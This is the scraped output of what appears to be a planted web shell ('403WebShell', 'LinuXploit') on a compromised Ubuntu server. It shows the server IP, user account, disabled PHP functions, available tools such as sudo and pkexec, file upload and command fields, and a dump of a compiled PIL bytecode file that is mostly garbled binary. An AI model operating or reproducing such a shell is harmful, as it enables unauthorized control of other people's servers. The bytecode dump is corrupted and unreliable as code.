Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/GdImageFile.cpython-310.pyc
o

Z#�a�	�@sPdZddlmZmZmZddlmZddlmZ	Gdd�dej�Z
ddd	�Zd
S)a�
.. note::
    This format cannot be automatically recognized, so the
    class is not registered for use with :py:func:`PIL.Image.open()`.  To open a
    gd file, use the :py:func:`PIL.GdImageFile.open()` function instead.

.. warning::
    THE GD FORMAT IS NOT DESIGNED FOR DATA INTERCHANGE.  This
    implementation is provided for convenience and demonstrational
    purposes only.
�)�	ImageFile�ImagePalette�UnidentifiedImageError)�i16be)�i32bec@s eZdZdZdZdZdd�ZdS)�GdImageFilea%
    Image plugin for the GD uncompressed format.  Note that this format
    is not supported by the standard :py:func:`PIL.Image.open()` function.  To use
    this plugin, you have to import the :py:mod:`PIL.GdImageFile` module and
    use the :py:func:`PIL.GdImageFile.open()` function.
    �GDzGD uncompressed imagescCs�|j�d�}t|�dvrtd��d|_t|d�t|d�f|_|d}|r&dnd}t|d	|�}|d
kr8||jd<t�	d|d	|dd	|dd
��|_
dd|jd	|dd
dfg|_dS)Ni
)i��i��zNot a valid GD 2.x .gd file�L�������transparency�XBGRi�raw)r
r
)r	r
r)
�fp�read�i16�SyntaxError�mode�_size�i32�inforr�palette�size�tile)�self�s�	trueColor�trueColorOffset�tindex�r#�1/usr/lib/python3/dist-packages/PIL/GdImageFile.py�_open.s
 �
�zGdImageFile._openN)�__name__�
__module__�__qualname__�__doc__�format�format_descriptionr%r#r#r#r$r#s
r�rc
Cs>|dkrtd��zt|�WSty}ztd�|�d}~ww)a)
    Load texture from a GD image file.

    :param filename: GD file name, or an opened file handle.
    :param mode: Optional mode.  In this version, if the mode argument
        is given, it must be "r".
    :returns: An image instance.
    :raises OSError: If the image could not be read.
    r,zbad modezcannot identify this image fileN)�
ValueErrorrrr)rr�er#r#r$�openJs


��r/N)r,)r)�rrr�_binaryrrrrrr/r#r#r#r$�<module>s
'

Youez - 2016 - github.com/yon3zu
LinuXploit